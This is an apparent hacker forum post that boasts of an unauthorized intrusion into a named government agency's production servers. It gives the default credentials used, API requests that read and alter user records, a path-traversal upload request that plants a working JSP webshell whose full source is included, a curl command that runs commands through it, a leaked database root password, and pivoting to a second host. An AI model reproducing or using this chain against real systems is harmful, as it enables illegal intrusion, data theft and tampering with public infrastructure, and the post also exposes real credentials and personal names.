Jul 19, 2026, 10:54 PM
[COLOR=rgb(97, 189, 109)]how a 10-year-old Spring Boot app on a gov box handed us root in about an hour [/COLOR]
[HEADING=1][COLOR=rgb(184, 49, 47)]Recon[/COLOR][/HEADING]Started with subdomain recon[COLOR=rgb(97, 189, 109)] [/COLOR]against [COLOR=rgb(44, 130, 201)]mgb.gov.ph[/COLOR]. pulled about ~46 unique subdomains out of the cert transparency log, resolved them all, probed each one for a live web service
most of the [COLOR=rgb(251, 160, 38)]infrastructure[/COLOR] was dead weight. A bunch of [COLOR=rgb(97, 189, 109)]region1[/COLOR] through [COLOR=rgb(97, 189, 109)]region12[/COLOR] subdomains pointed at Azure App Services that returned 403, a couple of AWS boxes timed out, and the main [COLOR=rgb(44, 130, 201)]mgb.gov.ph[/COLOR] Joomla site sat behind a Cloudflare JS challenge. But one subdomain stuck out:
[ICODE]centraldatabase.mgb.gov.ph -> 104.199.141.100 (GCP)[/ICODE]
[ICODE]Apache 2.4.7 + Tomcat 7.0.52 + Spring Boot 1.x + MySQL 5.5.62[/ICODE]
Tomcat 7.0.52 is from January 2014. Spring Boot 1.x stopped shipping years ago. MySQL 5.5 went EOL in 2018. Ubuntu 14.04 went EOL in 2019. The kernel was 3.19.0-80-generic, built January 13, 2017. Whatever shipped here in 2018 hadn't been touched since
Even better: no Cloudflare in front of [COLOR=rgb(44, 130, 201)]centraldatabase.*[/COLOR]. The main [COLOR=rgb(44, 130, 201)]mgb.gov.ph[/COLOR] Joomla site hides behind a CF challenge but someone forgot to put the database app behind the same protection. The GCP IP was wide open, I went straight to it
[HEADING=1]Default creds on /mgb[/HEADING]
The Spring Boot app served on context [COLOR=rgb(26, 188, 156)]/mgb[/COLOR]. Hitting [COLOR=rgb(26, 188, 156)]/mgb/user[/COLOR] with no creds got me a 401. spring security was doing its thing. But the dev left a "gift"
I tried the dumb thing first. [COLOR=rgb(250, 197, 28)]guest:guest[/COLOR]. bam, [COLOR=rgb(97, 189, 109)]200[/COLOR]. The account existed and the response literally described itself in the JSON:
[CODE=json]{"principal":{"id":68,"username":"guest","name":"Guest (Portal User)","active":true,"admin":false}}[/CODE]
Guest was nice but I wanted the keys. so I went fishing for the developer. Earlier recon showed the source code had [COLOR=rgb(65, 168, 95)]@Author Franklin Chua[/COLOR] sprinkled all over it, so I figured the dev probably had a default account too. tried [COLOR=rgb(250, 197, 28)]fchua:fchua[/COLOR]
I kid you not. username = password = fchua. On a production government box.
[CODE=json]{"principal":{"id":2,"username":"fchua","name":"Franklin Chua","admin":true,"active":true}}[/CODE]
admin: true.
The same dude wrote the app, deployed the app, and left his own creds in it. GIVE THAT GUY A RAISE!
[HEADING=1]Spring Data REST with no authz layer[/HEADING]
Once I had fchua:fchua, Spring Data REST was exported for basically every entity. full CRUD exposed to any authenticated caller
a few calls to confirm read access:
Quote:GET /mgb/api/users -> 80+ accounts with full name, division, email, admin flag
GET /mgb/api/roles/search/findAll -> role/permission mapping
GET /mgb/api/attachments -> 3500+ attachment records, each with a downloadKey
The attachments endpoint leaked [COLOR=rgb(97, 189, 109)]downloadKey[/COLOR], [COLOR=rgb(26, 188, 156)]bucketName[/COLOR], [COLOR=rgb(84, 172, 210)]objectName[/COLOR], [COLOR=rgb(44, 130, 201)]filename[/COLOR], and [COLOR=rgb(147, 101, 184)]contentHash[/COLOR] for every record. I picked one at random, [COLOR=rgb(44, 130, 201)]CAR_MAP_JUN_2026.pdf[/COLOR], 10MB, uploaded by "Aaron Arcilla" on July 6 2026. grabbed its [COLOR=rgb(184, 49, 47)]downloadKey[/COLOR] and hit:
[CODE=http]GET /mgb/api/attachments/download?key=fWFY92nUnRgHxHbCTO9QjXHmsvSfSyVCVzuWffagsDRRkqUL1HQsUJwPLvQo3xoO
Authorization: Basic ZmNodWE6ZmNodWE=[/CODE]
[COLOR=rgb(97, 189, 109)]200 OK[/COLOR], full PDF streamed back. so read is full read on the document library. Mining applications, maps, financial plans. taxpayer-grade sensitive government documents
BY THE WAY
While paging through the attachment records I noticed one odd entry, someone who had clearly been here before me had uploaded a PHP webshell to the bucket. a PHP webshell. On a Tomcat box. The "backend" here is Java, served by Tomcat, compiled JSP. There is no PHP interpreter anywhere on this host
Props for the enthusiasm I guess. YOU almost had a webshell there buddy, just one technology stack off. After I got my own shell on the box I went looking for backdoors or anything weird running, found nothing. So clearly they never actually got in. nice try though
ANYWAY
For the write side I PUT against /mgb/api/users/1 (the super admin), overwriting admin from true to false:
[CODE=http]PUT /mgb/api/users/1
Content-Type: application/json
{"username":"test","admin":false,"active":false,"enabled":false}[/CODE]
[COLOR=rgb(65, 168, 95)]200 OK[/COLOR], record mutated in the production database:
[CODE=http]{"username":"test","admin":false,"accountNonExpired":false,"accountNonLocked":false,...}[/CODE]
I put it back immediately because i'm not a jerk, but the point was made: the API has zero authorization beyond "is logged in". Authenticated = god.
So at this point I have read/write to the entire database, full document library, and the user table of a government agency. without sending a single malicious payload. Just default creds + an outdated Spring Data REST config.
But that's not RCE yet.
[HEADING=1]The 500 that gave away the filesystem[/HEADING]
Next I went poking at the import endpoints. There's this feature where admins upload Excel templates for "bulk importing" users, mining tenures, etc. The endpoint is POST /mgb/api/import/template/{module}.
I sent a GET to it, unauthenticated, just to see what would happen:
[CODE=http]GET /mgb/api/import/template/mtmd
-> 500 Internal Server Error
{
"status":500,
"exception":"java.io.FileNotFoundException",
"message":"File '/mnt/data/template/mtmd.xlsx' does not exist",
"path":"/mgb/api/import/template/mtmd"
}[/CODE]
Same with /mgb/api/import/template/users:
"message":"File '/mnt/data/template/users.xlsx' does not exist"The error hands you the absolute filesystem path where the import controller writes and reads. /mnt/data/template/ and, by implication, /mnt/data/import/. that's the sink for the upload side of the endpoint.
[HEADING=1]Path traversal in originalFilename[/HEADING]
Then I looked at the import upload endpoint. It takes a multipart, pulls [COLOR=rgb(65, 168, 95)]file.getOriginalFilename()[/COLOR], and (i'm guessing here, because the behavior confirmed it) does something like:
[CODE=java]new File("/mnt/data/import/" + file.getOriginalFilename())[/CODE]
No .normalize(). No path-separator stripping. no canonicalization check.
I sent the failure case first to make sure the vuln was real. uploaded a file with the name ../../../../var/www/html/shell.jsp. The response came back:
Quote:500 File '/mnt/data/import/../../../../var/www/html/shell.jsp' (Permission denied)
Three things confirmed in one line:
1. The path is concatenated literally. No sanitization at all.
2. .. resolution happens via the OS, not the controller.
3. /var/www/html/ is not writable by tomcat7. So I needed somewhere else.
Permission denied on /var/www/html/. but what about Tomcat's own webapps directory?
Quote:/var/lib/tomcat7/webapps/mgb/That's where the mgb webapp lives. the tomcat7 service user owns that directory. Of course it does, it has to write "auto-deployed" shit there.
so I constructed the path:
Quote:../../../var/lib/tomcat7/webapps/mgb/givemeashell.jsp[HEADING=1]Dropping the webshell[/HEADING]
[CODE=java]<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("c")});
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while ((l = r.readLine()) != null) out.println(l);
BufferedReader e = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((l = e.readLine()) != null) out.println(l);
%>[/CODE]
The full POST looked like this:
[CODE=http]POST /mgb/api/import/template/_rceprobe HTTP/1.1
Host: centraldatabase.mgb.gov.ph
Authorization: Basic ZmNodWE6ZmNodWE=
X-CSRF-TOKEN: <token from GET /mgb/csrf>
Content-Type: multipart/form-data; boundary=----xyz
------xyz
Content-Disposition: form-data; name="file"; filename="../../../var/lib/tomcat7/webapps/mgb/givemeashell.jsp"
Content-Type: application/octet-stream
<%@ page import="java.io.*" %><% Process p = ... %>
------xyz--[/CODE]
Response:[COLOR=rgb(65, 168, 95)] 200 OK[/COLOR], empty body. no error.
So either it wrote the file or it silently swallowed the upload. only one way to find out.
[HEADING=1]please execute[/HEADING]
[CODE=bash]$ curl -k -u "fchua:fchua" "https://centraldatabase.mgb.gov.ph/mgb/givemeashell.jsp?c=id;+hostname;+uname+-a"
uid=108(tomcat7) gid=115(tomcat7) groups=115(tomcat7),105(fuse)
mgb-central
Linux mgb-central 3.19.0-80-generic #88~14.04.1-Ubuntu SMP Fri Jan 13 14:54:07 UTC 2017 x86_64 GNU/Linux[/CODE]
yey. RCE on the MGB central database host, as tomcat7, on a 9-year-old ubuntu kernel.
[HEADING=1]Post-RCE[/HEADING]
A couple of minutes in I had [COLOR=rgb(250, 197, 28)]application.properties[/COLOR] off disk with the MySQL root password (Password1234). The same password also leaked a second time in [COLOR=rgb(251, 160, 38)]franklin_chua's[/COLOR] bash history (God, I love this guy!). MySQL 3306 was externally reachable on the box, so Password1234 worked from the "internet" too.
Replication was set up between this box (10.240.0.4, master, mgb-central) and a second VM (10.240.0.3, slave, mgb-portal). Binlog_Do_DB: mgb. The slave pulled binlog events live. I dropped a [COLOR=rgb(247, 218, 100)]pieyaya[/COLOR] user row into master, watched the binlog position advance, confirmed the slave picked it up.
The same path-traversal chain also worked on the slave. mgb-portal runs the same Spring Boot app at context /mgb-public. A POST to /mgb-public/api/import/template/module took the exact same traversal. dropped anothershell.jsp at /var/lib/tomcat7/webapps/mgb-public/anothershell.jsp and got uid=108(tomcat7) on mgb-portal. Same chain, same developer.
End of the day: full RCE on two production government boxes, full read/write to a 3500-document repository, full DBA on a production MySQL. all from one default password and one missing .normalize() call.
[HEADING=1]Root[/HEADING]
I won't get into how I ended up root on the box. the kernel is from 2017, do the math.
